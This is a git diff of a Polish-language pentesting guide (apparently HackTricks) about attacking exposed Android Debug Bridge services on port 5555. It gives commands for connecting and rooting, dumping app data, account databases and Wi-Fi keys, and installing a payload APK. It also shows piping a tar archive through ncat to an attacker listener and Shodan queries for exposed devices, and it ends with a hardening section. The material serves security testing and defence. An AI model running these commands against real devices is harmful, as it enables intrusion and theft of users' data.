diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index 99967fbc8..165adf71d 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -6,40 +6,141 @@ Z [dokumentacji](https://developer.android.com/studio/command-line/adb): -**Android Debug Bridge** (adb) to wszechstronne narzędzie wiersza poleceń, które pozwala na komunikację z urządzeniem. Polecenie adb ułatwia różnorodne działania na urządzeniu, takie jak **instalowanie i debugowanie aplikacji**, a także zapewnia **dostęp do powłoki Unix**, której można używać do uruchamiania różnych poleceń na urządzeniu. +Android Debug Bridge (adb) to narzędzie wiersza poleceń do komunikacji z urządzeniami i emulatorami opartymi na Androidzie. Typowe działania obejmują instalowanie pakietów, debugowanie i uzyskiwanie interaktywnej powłoki Unix na urządzeniu. -**Domyślny port**: 5555. +- Historyczny domyślny port TCP: 5555 (klasyczny tryb "adb tcpip"). +- Nowoczesne debugowanie bezprzewodowe (Android 11+) wykorzystuje parowanie TLS i odkrywanie usług mDNS. Port połączenia jest dynamiczny i odkrywany za pomocą mDNS; może nie być 5555. Parowanie odbywa się za pomocą adb pair host:port, a następnie adb connect. Zobacz uwagi poniżej dotyczące implikacji ofensywnych. + +Przykład odcisku nmap: ``` PORT STATE SERVICE VERSION 5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909) ``` ## Połączenie -Jeśli znajdziesz usługę ADB działającą na porcie urządzenia i możesz się z nią połączyć, **możesz uzyskać powłokę wewnątrz systemu:** +Jeśli znajdziesz ADB wystawione i dostępne, spróbuj szybko połączyć się i przeprowadzić enumerację: ```bash -adb connect 10.10.10.10 -adb root # Try to escalate to root -adb shell +adb connect [:] # Default is 5555 for classic mode +adb devices -l # Confirm it shows as "device" (not unauthorized/offline) +adb shell # Get an interactive shell (uid usually shell) +whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port +adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT ``` -Aby uzyskać więcej poleceń ADB, sprawdź następującą stronę: +- Jeśli urządzenie wymusza uwierzytelnianie ADB (ro.adb.secure=1), będziesz musiał być wstępnie autoryzowany (USB RSA auth) lub użyć parowania debugowania bezprzewodowego Androida 11+ (co wymaga jednorazowego kodu wyświetlanego na urządzeniu). +- Niektóre obrazy producentów, wersje inżynieryjne/userdebug, emulatory, telewizory, STB i zestawy deweloperskie udostępniają adbd bez uwierzytelniania lub z adbd działającym jako root. W takich przypadkach zazwyczaj trafisz bezpośrednio do powłoki lub powłoki roota. + +Aby uzyskać ogólny odniesienie do poleceń ADB, zobacz: {{#ref}} ../mobile-pentesting/android-app-pentesting/adb-commands.md {{#endref}} -### Zrzut danych aplikacji +## Szybkie Po Eksploatacji -Aby całkowicie pobrać dane aplikacji, możesz: +Gdy masz powłokę, zweryfikuj uprawnienia i kontekst SELinux: ```bash -# From a root console -chmod 777 /data/data/com.package -cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data. -adb pull "/sdcard/com.package" +id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint ``` -Możesz użyć tego triku, aby **odzyskać wrażliwe informacje, takie jak hasła do Chrome**. Aby uzyskać więcej informacji na ten temat, sprawdź informacje w podanych odniesieniach [**tutaj**](https://github.com/carlospolop/hacktricks/issues/274). +### Enumeracja i przechwytywanie danych + +- Lista aplikacji firm trzecich i ścieżek: +```bash +pm list packages -3 +pm path +``` +- Jeśli masz roota (adb root lub su działa), możesz uzyskać dostęp do /data bezpośrednio. Jeśli nie, preferuj run-as dla aplikacji z możliwością debugowania: +```bash +# Bez roota, dla aplikacji z możliwością debugowania +run-as sh -c 'cd /data/data/ && tar cf - .' | tar xf - -C ./loot/ + +# Z rootem +cp -a /data/data/ /sdcard/ +exit +adb pull "/sdcard/" +``` +- Przydatne artefakty systemowe (wymagany root): +- /data/system/users/0/accounts.db i powiązane dane AccountManager +- /data/misc/wifi/ (konfiguracje/klucze sieciowe w starszych wersjach) +- Specyficzne dla aplikacji bazy danych SQLite i shared_prefs w /data/data/ + +Możesz użyć tego do odzyskania wrażliwych informacji (np. sekrety aplikacji). Aby uzyskać informacje na temat rozważania danych Chrome, zobacz problem odniesiony [tutaj](https://github.com/carlospolop/hacktricks/issues/274). + +### Wykonanie kodu i dostarczanie ładunku + +- Zainstaluj i automatycznie przyznaj uprawnienia w czasie rzeczywistym: +```bash +adb install -r -g payload.apk # -g przyznaje wszystkie uprawnienia w czasie rzeczywistym zadeklarowane w manifeście +adb shell monkey -p -c android.intent.category.LAUNCHER 1 +``` +- Uruchamiaj aktywności/usługi/nadawania bezpośrednio: +```bash +adb shell am start -n / +adb shell am startservice -n / +adb shell am broadcast -a +``` + +### Przekierowywanie portów i pivotowanie + +Nawet bez roota, adb może przekierowywać lokalne porty do portów urządzenia i odwrotnie. Jest to przydatne do uzyskiwania dostępu do usług lokalnych na urządzeniu lub do eksponowania usług atakującego na urządzeniu. + +- Przekierowanie host->urządzenie (uzyskaj dostęp do lokalnej usługi urządzenia z hosta): +```bash +adb forward tcp:2222 tcp:22 # Jeśli urządzenie uruchamia SSH (np. Termux/Dropbear) +adb forward tcp:8081 tcp:8080 # Ekspozycja lokalnego serwera debugowania aplikacji +``` +- Odwrócone urządzenie->host (pozwól urządzeniu dotrzeć do usługi na twoim hoście): +```bash +adb reverse tcp:1080 tcp:1080 # Aplikacje urządzenia mogą teraz dotrzeć do host:1080 jako 127.0.0.1:1080 +``` +- Ekstrakcja plików przez gniazda (bez zapisów na sdcard): +```bash +# Na hoście: nasłuchuj +ncat -lvp 9000 > dump.tar +# Na urządzeniu: wyślij katalog jako tar (root lub run-as w zależności od potrzeb) +adb shell "tar cf - /data/data/" | ncat 9000 +``` + +## Debugowanie bezprzewodowe (Android 11+) + +Nowoczesny Android implementuje bezprzewodowe debugowanie chronione TLS z parowaniem po stronie urządzenia i odkrywaniem mDNS: +```bash +# On the device: Developer options -> Wireless debugging -> Pair device with pairing code +# On attacker host (same L2 network, mDNS allowed): +adb pair : # Enter the 6-digit code shown on device +adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services +adb connect : +``` +Notatki +- Porty są dynamiczne; nie zakładaj 5555. Nazwy usług mDNS wyglądają jak: +- _adb-tls-pairing._tcp (parowanie) +- _adb-tls-connect._tcp (połączenie sparowane) +- _adb._tcp (legacy/plain) +- Jeśli mDNS jest filtrowany, klasyczne włączanie z pomocą USB może nadal działać w niektórych wersjach: `adb tcpip 5555` następnie `adb connect :5555` (do ponownego uruchomienia). + +Implikacje ofensywne: jeśli możesz interagować z interfejsem użytkownika urządzenia (np. fizyczny dostęp lub błędna konfiguracja MDM mobilnego), aby włączyć debugowanie bezprzewodowe i zobaczyć kod parowania, możesz ustanowić długoterminowy sparowany kanał ADB bez kabla. Niektórzy producenci OEM udostępniają ADB przez TCP w obrazach inżynieryjnych/deweloperskich bez parowania — zawsze sprawdzaj. + +## Wzmacnianie / Wykrywanie + +Obrońcy powinni zakładać, że każdy dostępny adbd (TCP) stanowi krytyczne ryzyko. + +- Wyłącz ADB i debugowanie bezprzewodowe, gdy nie są potrzebne. Cofnij autoryzacje debugowania USB w opcjach dewelopera. +- Upewnij się, że polityka sieciowa blokuje przychodzące TCP/5555 i odkrywanie ADB oparte na mDNS w nieufnych segmentach. +- Na urządzeniach pod twoją kontrolą: +```bash +settings put global adb_enabled 0 +setprop service.adb.tcp.port -1 # wyłącz nasłuchiwanie TCP (lub użyj: adb usb) +stop adbd; start adbd # zrestartuj demon +``` +- Monitoruj rekordy mDNS `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` w sieciach korporacyjnych i alerty dla nieoczekiwanych słuchaczy 5555. +- Inwentaryzuj niebezpieczne wersje: `getprop ro.debuggable`, `ro.build.type`, i `ro.adb.secure`. ## Shodan -- `android debug bridge` +- android debug bridge +- port:5555 product:"Android Debug Bridge" +## Odnośniki + +- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb +- AOSP – ADB over Wi‑Fi, parowanie i nazwy usług mDNS: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md {{#include ../banners/hacktricks-training.md}}